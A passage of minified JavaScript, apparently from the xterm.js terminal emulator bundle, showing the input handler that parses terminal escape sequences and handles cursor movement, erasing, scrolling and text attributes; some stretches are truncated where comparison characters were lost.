soon."),k=!0),this._writeBuffer.writeSync(R,P)}resize(R,P){isNaN(R)||isNaN(P)||(R=Math.max(R,p.MINIMUM_COLS),P=Math.max(P,p.MINIMUM_ROWS),this._bufferService.resize(R,P))}scroll(R,P=!1){this._bufferService.scroll(R,P)}scrollLines(R,P,L){this._bufferService.scrollLines(R,P,L)}scrollPages(R){this.scrollLines(R*(this.rows-1))}scrollToTop(){this.scrollLines(-this._bufferService.buffer.ydisp)}scrollToBottom(){this.scrollLines(this._bufferService.buffer.ybase-this._bufferService.buffer.ydisp)}scrollToLine(R){const P=R-this._bufferService.buffer.ydisp;P!==0&&this.scrollLines(P)}registerEscHandler(R,P){return this._inputHandler.registerEscHandler(R,P)}registerDcsHandler(R,P){return this._inputHandler.registerDcsHandler(R,P)}registerCsiHandler(R,P){return this._inputHandler.registerCsiHandler(R,P)}registerOscHandler(R,P){return this._inputHandler.registerOscHandler(R,P)}_setup(){this._handleWindowsPtyOptionChange()}reset(){this._inputHandler.reset(),this._bufferService.reset(),this._charsetService.reset(),this.coreService.reset(),this.coreMouseService.reset()}_handleWindowsPtyOptionChange(){let R=!1;const P=this.optionsService.rawOptions.windowsPty;P&&P.buildNumber!==void 0&&P.buildNumber!==void 0?R=P.backend==="conpty"&&P.buildNumber<21376:this.optionsService.rawOptions.windowsMode&&(R=!0),R?this._enableWindowsWrappingHeuristics():this._windowsWrappingHeuristics.clear()}_enableWindowsWrappingHeuristics(){if(!this._windowsWrappingHeuristics.value){const R=[];R.push(this.onLineFeed(w.updateWindowsModeWrappedState.bind(null,this._bufferService))),R.push(this.registerCsiHandler({final:"H"},()=>((0,w.updateWindowsModeWrappedState)(this._bufferService),!1))),this._windowsWrappingHeuristics.value=(0,l.toDisposable)(()=>{for(const P of R)P.dispose()})}}}a.CoreTerminal=A},8460:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.forwardEvent=a.EventEmitter=void 0,a.EventEmitter=class{constructor(){this._listeners=[],this._disposed=!1}get event(){return this._event||(this._event=c=>(this._listeners.push(c),{dispose:()=>{if(!this._disposed){for(let l=0;ll.fire(u))}},5435:function(o,a,c){var l=this&&this.__decorate||function(V,N,O,H){var G,ee=arguments.length,ie=ee<3?N:H===null?H=Object.getOwnPropertyDescriptor(N,O):H;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")ie=Reflect.decorate(V,N,O,H);else for(var ve=V.length-1;ve>=0;ve--)(G=V[ve])&&(ie=(ee<3?G(ie):ee>3?G(N,O,ie):G(N,O))||ie);return ee>3&&ie&&Object.defineProperty(N,O,ie),ie},u=this&&this.__param||function(V,N){return function(O,H){N(O,H,V)}};Object.defineProperty(a,"__esModule",{value:!0}),a.InputHandler=a.WindowsOptionsReportType=void 0;const h=c(2584),d=c(7116),p=c(2015),m=c(844),v=c(482),g=c(8437),y=c(8460),b=c(643),_=c(511),w=c(3734),S=c(2585),C=c(6242),T=c(6351),k=c(5941),A={"(":0,")":1,"*":2,"+":3,"-":1,".":2},M=131072;function R(V,N){if(V>24)return N.setWinLines||!1;switch(V){case 1:return!!N.restoreWin;case 2:return!!N.minimizeWin;case 3:return!!N.setWinPosition;case 4:return!!N.setWinSizePixels;case 5:return!!N.raiseWin;case 6:return!!N.lowerWin;case 7:return!!N.refreshWin;case 8:return!!N.setWinSizeChars;case 9:return!!N.maximizeWin;case 10:return!!N.fullscreenWin;case 11:return!!N.getWinState;case 13:return!!N.getWinPosition;case 14:return!!N.getWinSizePixels;case 15:return!!N.getScreenSizePixels;case 16:return!!N.getCellSizePixels;case 18:return!!N.getWinSizeChars;case 19:return!!N.getScreenSizeChars;case 20:return!!N.getIconTitle;case 21:return!!N.getWinTitle;case 22:return!!N.pushTitle;case 23:return!!N.popTitle;case 24:return!!N.setWinLines}return!1}var P;(function(V){V[V.GET_WIN_SIZE_PIXELS=0]="GET_WIN_SIZE_PIXELS",V[V.GET_CELL_SIZE_PIXELS=1]="GET_CELL_SIZE_PIXELS"})(P||(a.WindowsOptionsReportType=P={}));let L=0;class z extends m.Disposable{getAttrData(){return this._curAttrData}constructor(N,O,H,G,ee,ie,ve,le,oe=new p.EscapeSequenceParser){super(),this._bufferService=N,this._charsetService=O,this._coreService=H,this._logService=G,this._optionsService=ee,this._oscLinkService=ie,this._coreMouseService=ve,this._unicodeService=le,this._parser=oe,this._parseBuffer=new Uint32Array(4096),this._stringDecoder=new v.StringToUtf32,this._utf8Decoder=new v.Utf8ToUtf32,this._workCell=new _.CellData,this._windowTitle="",this._iconName="",this._windowTitleStack=[],this._iconNameStack=[],this._curAttrData=g.DEFAULT_ATTR_DATA.clone(),this._eraseAttrDataInternal=g.DEFAULT_ATTR_DATA.clone(),this._onRequestBell=this.register(new y.EventEmitter),this.onRequestBell=this._onRequestBell.event,this._onRequestRefreshRows=this.register(new y.EventEmitter),this.onRequestRefreshRows=this._onRequestRefreshRows.event,this._onRequestReset=this.register(new y.EventEmitter),this.onRequestReset=this._onRequestReset.event,this._onRequestSendFocus=this.register(new y.EventEmitter),this.onRequestSendFocus=this._onRequestSendFocus.event,this._onRequestSyncScrollBar=this.register(new y.EventEmitter),this.onRequestSyncScrollBar=this._onRequestSyncScrollBar.event,this._onRequestWindowsOptionsReport=this.register(new y.EventEmitter),this.onRequestWindowsOptionsReport=this._onRequestWindowsOptionsReport.event,this._onA11yChar=this.register(new y.EventEmitter),this.onA11yChar=this._onA11yChar.event,this._onA11yTab=this.register(new y.EventEmitter),this.onA11yTab=this._onA11yTab.event,this._onCursorMove=this.register(new y.EventEmitter),this.onCursorMove=this._onCursorMove.event,this._onLineFeed=this.register(new y.EventEmitter),this.onLineFeed=this._onLineFeed.event,this._onScroll=this.register(new y.EventEmitter),this.onScroll=this._onScroll.event,this._onTitleChange=this.register(new y.EventEmitter),this.onTitleChange=this._onTitleChange.event,this._onColor=this.register(new y.EventEmitter),this.onColor=this._onColor.event,this._parseStack={paused:!1,cursorStartX:0,cursorStartY:0,decodedLength:0,position:0},this._specialColors=[256,257,258],this.register(this._parser),this._dirtyRowTracker=new Q(this._bufferService),this._activeBuffer=this._bufferService.buffer,this.register(this._bufferService.buffers.onBufferActivate(I=>this._activeBuffer=I.activeBuffer)),this._parser.setCsiHandlerFallback((I,K)=>{this._logService.debug("Unknown CSI code: ",{identifier:this._parser.identToString(I),params:K.toArray()})}),this._parser.setEscHandlerFallback(I=>{this._logService.debug("Unknown ESC code: ",{identifier:this._parser.identToString(I)})}),this._parser.setExecuteHandlerFallback(I=>{this._logService.debug("Unknown EXECUTE code: ",{code:I})}),this._parser.setOscHandlerFallback((I,K,X)=>{this._logService.debug("Unknown OSC code: ",{identifier:I,action:K,data:X})}),this._parser.setDcsHandlerFallback((I,K,X)=>{K==="HOOK"&&(X=X.toArray()),this._logService.debug("Unknown DCS code: ",{identifier:this._parser.identToString(I),action:K,payload:X})}),this._parser.setPrintHandler((I,K,X)=>this.print(I,K,X)),this._parser.registerCsiHandler({final:"@"},I=>this.insertChars(I)),this._parser.registerCsiHandler({intermediates:" ",final:"@"},I=>this.scrollLeft(I)),this._parser.registerCsiHandler({final:"A"},I=>this.cursorUp(I)),this._parser.registerCsiHandler({intermediates:" ",final:"A"},I=>this.scrollRight(I)),this._parser.registerCsiHandler({final:"B"},I=>this.cursorDown(I)),this._parser.registerCsiHandler({final:"C"},I=>this.cursorForward(I)),this._parser.registerCsiHandler({final:"D"},I=>this.cursorBackward(I)),this._parser.registerCsiHandler({final:"E"},I=>this.cursorNextLine(I)),this._parser.registerCsiHandler({final:"F"},I=>this.cursorPrecedingLine(I)),this._parser.registerCsiHandler({final:"G"},I=>this.cursorCharAbsolute(I)),this._parser.registerCsiHandler({final:"H"},I=>this.cursorPosition(I)),this._parser.registerCsiHandler({final:"I"},I=>this.cursorForwardTab(I)),this._parser.registerCsiHandler({final:"J"},I=>this.eraseInDisplay(I,!1)),this._parser.registerCsiHandler({prefix:"?",final:"J"},I=>this.eraseInDisplay(I,!0)),this._parser.registerCsiHandler({final:"K"},I=>this.eraseInLine(I,!1)),this._parser.registerCsiHandler({prefix:"?",final:"K"},I=>this.eraseInLine(I,!0)),this._parser.registerCsiHandler({final:"L"},I=>this.insertLines(I)),this._parser.registerCsiHandler({final:"M"},I=>this.deleteLines(I)),this._parser.registerCsiHandler({final:"P"},I=>this.deleteChars(I)),this._parser.registerCsiHandler({final:"S"},I=>this.scrollUp(I)),this._parser.registerCsiHandler({final:"T"},I=>this.scrollDown(I)),this._parser.registerCsiHandler({final:"X"},I=>this.eraseChars(I)),this._parser.registerCsiHandler({final:"Z"},I=>this.cursorBackwardTab(I)),this._parser.registerCsiHandler({final:"`"},I=>this.charPosAbsolute(I)),this._parser.registerCsiHandler({final:"a"},I=>this.hPositionRelative(I)),this._parser.registerCsiHandler({final:"b"},I=>this.repeatPrecedingCharacter(I)),this._parser.registerCsiHandler({final:"c"},I=>this.sendDeviceAttributesPrimary(I)),this._parser.registerCsiHandler({prefix:">",final:"c"},I=>this.sendDeviceAttributesSecondary(I)),this._parser.registerCsiHandler({final:"d"},I=>this.linePosAbsolute(I)),this._parser.registerCsiHandler({final:"e"},I=>this.vPositionRelative(I)),this._parser.registerCsiHandler({final:"f"},I=>this.hVPosition(I)),this._parser.registerCsiHandler({final:"g"},I=>this.tabClear(I)),this._parser.registerCsiHandler({final:"h"},I=>this.setMode(I)),this._parser.registerCsiHandler({prefix:"?",final:"h"},I=>this.setModePrivate(I)),this._parser.registerCsiHandler({final:"l"},I=>this.resetMode(I)),this._parser.registerCsiHandler({prefix:"?",final:"l"},I=>this.resetModePrivate(I)),this._parser.registerCsiHandler({final:"m"},I=>this.charAttributes(I)),this._parser.registerCsiHandler({final:"n"},I=>this.deviceStatus(I)),this._parser.registerCsiHandler({prefix:"?",final:"n"},I=>this.deviceStatusPrivate(I)),this._parser.registerCsiHandler({intermediates:"!",final:"p"},I=>this.softReset(I)),this._parser.registerCsiHandler({intermediates:" ",final:"q"},I=>this.setCursorStyle(I)),this._parser.registerCsiHandler({final:"r"},I=>this.setScrollRegion(I)),this._parser.registerCsiHandler({final:"s"},I=>this.saveCursor(I)),this._parser.registerCsiHandler({final:"t"},I=>this.windowOptions(I)),this._parser.registerCsiHandler({final:"u"},I=>this.restoreCursor(I)),this._parser.registerCsiHandler({intermediates:"'",final:"}"},I=>this.insertColumns(I)),this._parser.registerCsiHandler({intermediates:"'",final:"~"},I=>this.deleteColumns(I)),this._parser.registerCsiHandler({intermediates:'"',final:"q"},I=>this.selectProtected(I)),this._parser.registerCsiHandler({intermediates:"$",final:"p"},I=>this.requestMode(I,!0)),this._parser.registerCsiHandler({prefix:"?",intermediates:"$",final:"p"},I=>this.requestMode(I,!1)),this._parser.setExecuteHandler(h.C0.BEL,()=>this.bell()),this._parser.setExecuteHandler(h.C0.LF,()=>this.lineFeed()),this._parser.setExecuteHandler(h.C0.VT,()=>this.lineFeed()),this._parser.setExecuteHandler(h.C0.FF,()=>this.lineFeed()),this._parser.setExecuteHandler(h.C0.CR,()=>this.carriageReturn()),this._parser.setExecuteHandler(h.C0.BS,()=>this.backspace()),this._parser.setExecuteHandler(h.C0.HT,()=>this.tab()),this._parser.setExecuteHandler(h.C0.SO,()=>this.shiftOut()),this._parser.setExecuteHandler(h.C0.SI,()=>this.shiftIn()),this._parser.setExecuteHandler(h.C1.IND,()=>this.index()),this._parser.setExecuteHandler(h.C1.NEL,()=>this.nextLine()),this._parser.setExecuteHandler(h.C1.HTS,()=>this.tabSet()),this._parser.registerOscHandler(0,new C.OscHandler(I=>(this.setTitle(I),this.setIconName(I),!0))),this._parser.registerOscHandler(1,new C.OscHandler(I=>this.setIconName(I))),this._parser.registerOscHandler(2,new C.OscHandler(I=>this.setTitle(I))),this._parser.registerOscHandler(4,new C.OscHandler(I=>this.setOrReportIndexedColor(I))),this._parser.registerOscHandler(8,new C.OscHandler(I=>this.setHyperlink(I))),this._parser.registerOscHandler(10,new C.OscHandler(I=>this.setOrReportFgColor(I))),this._parser.registerOscHandler(11,new C.OscHandler(I=>this.setOrReportBgColor(I))),this._parser.registerOscHandler(12,new C.OscHandler(I=>this.setOrReportCursorColor(I))),this._parser.registerOscHandler(104,new C.OscHandler(I=>this.restoreIndexedColor(I))),this._parser.registerOscHandler(110,new C.OscHandler(I=>this.restoreFgColor(I))),this._parser.registerOscHandler(111,new C.OscHandler(I=>this.restoreBgColor(I))),this._parser.registerOscHandler(112,new C.OscHandler(I=>this.restoreCursorColor(I))),this._parser.registerEscHandler({final:"7"},()=>this.saveCursor()),this._parser.registerEscHandler({final:"8"},()=>this.restoreCursor()),this._parser.registerEscHandler({final:"D"},()=>this.index()),this._parser.registerEscHandler({final:"E"},()=>this.nextLine()),this._parser.registerEscHandler({final:"H"},()=>this.tabSet()),this._parser.registerEscHandler({final:"M"},()=>this.reverseIndex()),this._parser.registerEscHandler({final:"="},()=>this.keypadApplicationMode()),this._parser.registerEscHandler({final:">"},()=>this.keypadNumericMode()),this._parser.registerEscHandler({final:"c"},()=>this.fullReset()),this._parser.registerEscHandler({final:"n"},()=>this.setgLevel(2)),this._parser.registerEscHandler({final:"o"},()=>this.setgLevel(3)),this._parser.registerEscHandler({final:"|"},()=>this.setgLevel(3)),this._parser.registerEscHandler({final:"}"},()=>this.setgLevel(2)),this._parser.registerEscHandler({final:"~"},()=>this.setgLevel(1)),this._parser.registerEscHandler({intermediates:"%",final:"@"},()=>this.selectDefaultCharset()),this._parser.registerEscHandler({intermediates:"%",final:"G"},()=>this.selectDefaultCharset());for(const I in d.CHARSETS)this._parser.registerEscHandler({intermediates:"(",final:I},()=>this.selectCharset("("+I)),this._parser.registerEscHandler({intermediates:")",final:I},()=>this.selectCharset(")"+I)),this._parser.registerEscHandler({intermediates:"*",final:I},()=>this.selectCharset("*"+I)),this._parser.registerEscHandler({intermediates:"+",final:I},()=>this.selectCharset("+"+I)),this._parser.registerEscHandler({intermediates:"-",final:I},()=>this.selectCharset("-"+I)),this._parser.registerEscHandler({intermediates:".",final:I},()=>this.selectCharset("."+I)),this._parser.registerEscHandler({intermediates:"/",final:I},()=>this.selectCharset("/"+I));this._parser.registerEscHandler({intermediates:"#",final:"8"},()=>this.screenAlignmentPattern()),this._parser.setErrorHandler(I=>(this._logService.error("Parsing error: ",I),I)),this._parser.registerDcsHandler({intermediates:"$",final:"q"},new T.DcsHandler((I,K)=>this.requestStatusString(I,K)))}_preserveStack(N,O,H,G){this._parseStack.paused=!0,this._parseStack.cursorStartX=N,this._parseStack.cursorStartY=O,this._parseStack.decodedLength=H,this._parseStack.position=G}_logSlowResolvingAsync(N){this._logService.logLevel<=S.LogLevelEnum.WARN&&Promise.race([N,new Promise((O,H)=>setTimeout(()=>H("#SLOW_TIMEOUT"),5e3))]).catch(O=>{if(O!=="#SLOW_TIMEOUT")throw O;console.warn("async parser handler taking longer than 5000 ms")})}_getCurrentLinkId(){return this._curAttrData.extended.urlId}parse(N,O){let H,G=this._activeBuffer.x,ee=this._activeBuffer.y,ie=0;const ve=this._parseStack.paused;if(ve){if(H=this._parser.parse(this._parseBuffer,this._parseStack.decodedLength,O))return this._logSlowResolvingAsync(H),H;G=this._parseStack.cursorStartX,ee=this._parseStack.cursorStartY,this._parseStack.paused=!1,N.length>M&&(ie=this._parseStack.position+M)}if(this._logService.logLevel<=S.LogLevelEnum.DEBUG&&this._logService.debug("parsing data"+(typeof N=="string"?` "${N}"`:` "${Array.prototype.map.call(N,le=>String.fromCharCode(le)).join("")}"`),typeof N=="string"?N.split("").map(le=>le.charCodeAt(0)):N),this._parseBuffer.lengthM)for(let le=ie;le0&&X.getWidth(this._activeBuffer.x-1)===2&&X.setCellFromCodePoint(this._activeBuffer.x-1,0,1,K.fg,K.bg,K.extended);for(let J=O;J=le){if(oe){for(;this._activeBuffer.x=this._bufferService.rows&&(this._activeBuffer.y=this._bufferService.rows-1),this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!0),X=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y)}else if(this._activeBuffer.x=le-1,ee===2)continue}if(I&&(X.insertCells(this._activeBuffer.x,ee,this._activeBuffer.getNullCell(K),K),X.getWidth(le-1)===2&&X.setCellFromCodePoint(le-1,b.NULL_CELL_CODE,b.NULL_CELL_WIDTH,K.fg,K.bg,K.extended)),X.setCellFromCodePoint(this._activeBuffer.x++,G,ee,K.fg,K.bg,K.extended),ee>0)for(;--ee;)X.setCellFromCodePoint(this._activeBuffer.x++,0,0,K.fg,K.bg,K.extended)}else X.getWidth(this._activeBuffer.x-1)?X.addCodepointToCell(this._activeBuffer.x-1,G):X.addCodepointToCell(this._activeBuffer.x-2,G)}H-O>0&&(X.loadCell(this._activeBuffer.x-1,this._workCell),this._workCell.getWidth()===2||this._workCell.getCode()>65535?this._parser.precedingCodepoint=0:this._workCell.isCombined()?this._parser.precedingCodepoint=this._workCell.getChars().charCodeAt(0):this._parser.precedingCodepoint=this._workCell.content),this._activeBuffer.x0&&X.getWidth(this._activeBuffer.x)===0&&!X.hasContent(this._activeBuffer.x)&&X.setCellFromCodePoint(this._activeBuffer.x,0,1,K.fg,K.bg,K.extended),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}registerCsiHandler(N,O){return N.final!=="t"||N.prefix||N.intermediates?this._parser.registerCsiHandler(N,O):this._parser.registerCsiHandler(N,H=>!R(H.params[0],this._optionsService.rawOptions.windowOptions)||O(H))}registerDcsHandler(N,O){return this._parser.registerDcsHandler(N,new T.DcsHandler(O))}registerEscHandler(N,O){return this._parser.registerEscHandler(N,O)}registerOscHandler(N,O){return this._parser.registerOscHandler(N,new C.OscHandler(O))}bell(){return this._onRequestBell.fire(),!0}lineFeed(){return this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._optionsService.rawOptions.convertEol&&(this._activeBuffer.x=0),this._activeBuffer.y++,this._activeBuffer.y===this._activeBuffer.scrollBottom+1?(this._activeBuffer.y--,this._bufferService.scroll(this._eraseAttrData())):this._activeBuffer.y>=this._bufferService.rows?this._activeBuffer.y=this._bufferService.rows-1:this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!1,this._activeBuffer.x>=this._bufferService.cols&&this._activeBuffer.x--,this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._onLineFeed.fire(),!0}carriageReturn(){return this._activeBuffer.x=0,!0}backspace(){var N;if(!this._coreService.decPrivateModes.reverseWraparound)return this._restrictCursor(),this._activeBuffer.x>0&&this._activeBuffer.x--,!0;if(this._restrictCursor(this._bufferService.cols),this._activeBuffer.x>0)this._activeBuffer.x--;else if(this._activeBuffer.x===0&&this._activeBuffer.y>this._activeBuffer.scrollTop&&this._activeBuffer.y<=this._activeBuffer.scrollBottom&&(!((N=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y))===null||N===void 0)&&N.isWrapped)){this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!1,this._activeBuffer.y--,this._activeBuffer.x=this._bufferService.cols-1;const O=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);O.hasWidth(this._activeBuffer.x)&&!O.hasContent(this._activeBuffer.x)&&this._activeBuffer.x--}return this._restrictCursor(),!0}tab(){if(this._activeBuffer.x>=this._bufferService.cols)return!0;const N=this._activeBuffer.x;return this._activeBuffer.x=this._activeBuffer.nextStop(),this._optionsService.rawOptions.screenReaderMode&&this._onA11yTab.fire(this._activeBuffer.x-N),!0}shiftOut(){return this._charsetService.setgLevel(1),!0}shiftIn(){return this._charsetService.setgLevel(0),!0}_restrictCursor(N=this._bufferService.cols-1){this._activeBuffer.x=Math.min(N,Math.max(0,this._activeBuffer.x)),this._activeBuffer.y=this._coreService.decPrivateModes.origin?Math.min(this._activeBuffer.scrollBottom,Math.max(this._activeBuffer.scrollTop,this._activeBuffer.y)):Math.min(this._bufferService.rows-1,Math.max(0,this._activeBuffer.y)),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}_setCursor(N,O){this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._coreService.decPrivateModes.origin?(this._activeBuffer.x=N,this._activeBuffer.y=this._activeBuffer.scrollTop+O):(this._activeBuffer.x=N,this._activeBuffer.y=O),this._restrictCursor(),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}_moveCursor(N,O){this._restrictCursor(),this._setCursor(this._activeBuffer.x+N,this._activeBuffer.y+O)}cursorUp(N){const O=this._activeBuffer.y-this._activeBuffer.scrollTop;return O>=0?this._moveCursor(0,-Math.min(O,N.params[0]||1)):this._moveCursor(0,-(N.params[0]||1)),!0}cursorDown(N){const O=this._activeBuffer.scrollBottom-this._activeBuffer.y;return O>=0?this._moveCursor(0,Math.min(O,N.params[0]||1)):this._moveCursor(0,N.params[0]||1),!0}cursorForward(N){return this._moveCursor(N.params[0]||1,0),!0}cursorBackward(N){return this._moveCursor(-(N.params[0]||1),0),!0}cursorNextLine(N){return this.cursorDown(N),this._activeBuffer.x=0,!0}cursorPrecedingLine(N){return this.cursorUp(N),this._activeBuffer.x=0,!0}cursorCharAbsolute(N){return this._setCursor((N.params[0]||1)-1,this._activeBuffer.y),!0}cursorPosition(N){return this._setCursor(N.length>=2?(N.params[1]||1)-1:0,(N.params[0]||1)-1),!0}charPosAbsolute(N){return this._setCursor((N.params[0]||1)-1,this._activeBuffer.y),!0}hPositionRelative(N){return this._moveCursor(N.params[0]||1,0),!0}linePosAbsolute(N){return this._setCursor(this._activeBuffer.x,(N.params[0]||1)-1),!0}vPositionRelative(N){return this._moveCursor(0,N.params[0]||1),!0}hVPosition(N){return this.cursorPosition(N),!0}tabClear(N){const O=N.params[0];return O===0?delete this._activeBuffer.tabs[this._activeBuffer.x]:O===3&&(this._activeBuffer.tabs={}),!0}cursorForwardTab(N){if(this._activeBuffer.x>=this._bufferService.cols)return!0;let O=N.params[0]||1;for(;O--;)this._activeBuffer.x=this._activeBuffer.nextStop();return!0}cursorBackwardTab(N){if(this._activeBuffer.x>=this._bufferService.cols)return!0;let O=N.params[0]||1;for(;O--;)this._activeBuffer.x=this._activeBuffer.prevStop();return!0}selectProtected(N){const O=N.params[0];return O===1&&(this._curAttrData.bg|=536870912),O!==2&&O!==0||(this._curAttrData.bg&=-536870913),!0}_eraseInBufferLine(N,O,H,G=!1,ee=!1){const ie=this._activeBuffer.lines.get(this._activeBuffer.ybase+N);ie.replaceCells(O,H,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData(),ee),G&&(ie.isWrapped=!1)}_resetBufferLine(N,O=!1){const H=this._activeBuffer.lines.get(this._activeBuffer.ybase+N);H&&(H.fill(this._activeBuffer.getNullCell(this._eraseAttrData()),O),this._bufferService.buffer.clearMarkers(this._activeBuffer.ybase+N),H.isWrapped=!1)}eraseInDisplay(N,O=!1){let H;switch(this._restrictCursor(this._bufferService.cols),N.params[0]){case 0:for(H=this._activeBuffer.y,this._dirtyRowTracker.markDirty(H),this._eraseInBufferLine(H++,this._activeBuffer.x,this._bufferService.cols,this._activeBuffer.x===0,O);H=this._bufferService.cols&&(this._activeBuffer.lines.get(H+1).isWrapped=!1);H--;)this._resetBufferLine(H,O);this._dirtyRowTracker.markDirty(0);break;case 2:for(H=this._bufferService.rows,this._dirtyRowTracker.markDirty(H-1);H--;)this._resetBufferLine(H,O);this._dirtyRowTracker.markDirty(0);break;case 3:const G=this._activeBuffer.lines.length-this._bufferService.rows;G>0&&(this._activeBuffer.lines.trimStart(G),this._activeBuffer.ybase=Math.max(this._activeBuffer.ybase-G,0),this._activeBuffer.ydisp=Math.max(this._activeBuffer.ydisp-G,0),this._onScroll.fire(0))}return!0}eraseInLine(N,O=!1){switch(this._restrictCursor(this._bufferService.cols),N.params[0]){case 0:this._eraseInBufferLine(this._activeBuffer.y,this._activeBuffer.x,this._bufferService.cols,this._activeBuffer.x===0,O);break;case 1:this._eraseInBufferLine(this._activeBuffer.y,0,this._activeBuffer.x+1,!1,O);break;case 2:this._eraseInBufferLine(this._activeBuffer.y,0,this._bufferService.cols,!0,O)}return this._dirtyRowTracker.markDirty(this._activeBuffer.y),!0}insertLines(N){this._restrictCursor();let O=N.params[0]||1;if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.y0||(this._is("xterm")||this._is("rxvt-unicode")||this._is("screen")?this._coreService.triggerDataEvent(h.C0.ESC+"[?1;2c"):this._is("linux")&&this._coreService.triggerDataEvent(h.C0.ESC+"[?6c")),!0}sendDeviceAttributesSecondary(N){return N.params[0]>0||(this._is("xterm")?this._coreService.triggerDataEvent(h.C0.ESC+"[>0;276;0c"):this._is("rxvt-unicode")?this._coreService.triggerDataEvent(h.C0.ESC+"[>85;95;0c"):this._is("linux")?this._coreService.triggerDataEvent(N.params[0]+"c"):this._is("screen")&&this._coreService.triggerDataEvent(h.C0.ESC+"[>83;40003;0c")),!0}_is(N){return(this._optionsService.rawOptions.termName+"").indexOf(N)===0}setMode(N){for(let O=0;ORe?1:2,J=N.params[0];return he=J,be=O?J===2?4:J===4?X(ie.modes.insertMode):J===12?3:J===20?X(K.convertEol):0:J===1?X(H.applicationCursorKeys):J===3?K.windowOptions.setWinLines?le===80?2:le===132?1:0:0:J===6?X(H.origin):J===7?X(H.wraparound):J===8?3:J===9?X(G==="X10"):J===12?X(K.cursorBlink):J===25?X(!ie.isCursorHidden):J===45?X(H.reverseWraparound):J===66?X(H.applicationKeypad):J===67?4:J===1e3?X(G==="VT200"):J===1002?X(G==="DRAG"):J===1003?X(G==="ANY"):J===1004?X(H.sendFocus):J===1005?4:J===1006?X(ee==="SGR"):J===1015?4:J===1016?X(ee==="SGR_PIXELS"):J===1048?1:J===47||J===1047||J===1049?X(oe===I):J===2004?X(H.bracketedPasteMode):0,ie.triggerDataEvent(`${h.C0.ESC}[${O?"":"?"}${he};${be}$y`),!0;var he,be}_updateAttrColor(N,O,H,G,ee){return O===2?(N|=50331648,N&=-16777216,N|=w.AttributeData.fromColorRGB([H,G,ee])):O===5&&(N&=-50331904,N|=33554432|255&H),N}_extractColor(N,O,H){const G=[0,0,-1,0,0,0];let ee=0,ie=0;do{if(G[ie+ee]=N.params[O+ie],N.hasSubParams(O+ie)){const ve=N.getSubParams(O+ie);let le=0;do G[1]===5&&(ee=1),G[ie+le+1+ee]=ve[le];while(++le=2||G[1]===2&&ie+ee>=5)break;G[1]&&(ee=1)}while(++ie+O5)&&(N=1),O.extended.underlineStyle=N,O.fg|=268435456,N===0&&(O.fg&=-268435457),O.updateExtended()}_processSGR0(N){N.fg=g.DEFAULT_ATTR_DATA.fg,N.bg=g.DEFAULT_ATTR_DATA.bg,N.extended=N.extended.clone(),N.extended.underlineStyle=0,N.extended.underlineColor&=-67108864,N.updateExtended()}charAttributes(N){if(N.length===1&&N.params[0]===0)return this._processSGR0(this._curAttrData),!0;const O=N.length;let H;const G=this._curAttrData;for(let ee=0;ee=30&&H<=37?(G.fg&=-50331904,G.fg|=16777216|H-30):H>=40&&H<=47?(G.bg&=-50331904,G.bg|=16777216|H-40):H>=90&&H<=97?(G.fg&=-50331904,G.fg|=16777224|H-90):H>=100&&H<=107?(G.bg&=-50331904,G.bg|=16777224|H-100):H===0?this._processSGR0(G):H===1?G.fg|=134217728:H===3?G.bg|=67108864:H===4?(G.fg|=268435456,this._processUnderline(N.hasSubParams(ee)?N.getSubParams(ee)[0]:1,G)):H===5?G.fg|=536870912:H===7?G.fg|=67108864:H===8?G.fg|=1073741824:H===9?G.fg|=2147483648:H===2?G.bg|=134217728:H===21?this._processUnderline(2,G):H===22?(G.fg&=-134217729,G.bg&=-134217729):H===23?G.bg&=-67108865:H===24?(G.fg&=-268435457,this._processUnderline(0,G)):H===25?G.fg&=-536870913:H===27?G.fg&=-67108865:H===28?G.fg&=-1073741825:H===29?G.fg&=2147483647:H===39?(G.fg&=-67108864,G.fg|=16777215&g.DEFAULT_ATTR_DATA.fg):H===49?(G.bg&=-67108864,G.bg|=16777215&g.DEFAULT_ATTR_DATA.bg):H===38||H===48||H===58?ee+=this._extractColor(N,ee,G):H===53?G.bg|=1073741824:H===55?G.bg&=-1073741825:H===59?(G.extended=G.extended.clone(),G.extended.underlineColor=-1,G.updateExtended()):H===100?(G.fg&=-67108864,G.fg|=16777215&g.DEFAULT_ATTR_DATA.fg,G.bg&=-67108864,G.bg|=16777215&g.DEFAULT_ATTR_DATA.bg):this._logService.debug("Unknown SGR attribute: %d.",H);return!0}deviceStatus(N){switch(N.params[0]){case 5:this._coreService.triggerDataEvent(`${h.C0.ESC}[0n`);break;case 6:const O=this._activeBuffer.y+1,H=this._activeBuffer.x+1;this._coreService.triggerDataEvent(`${h.C0.ESC}[${O};${H}R`)}return!0}deviceStatusPrivate(N){if(N.params[0]===6){const O=this._activeBuffer.y+1,H=this._activeBuffer.x+1;this._coreService.triggerDataEvent(`${h.C0.ESC}[?${O};${H}R`)}return!0}softReset(N){return 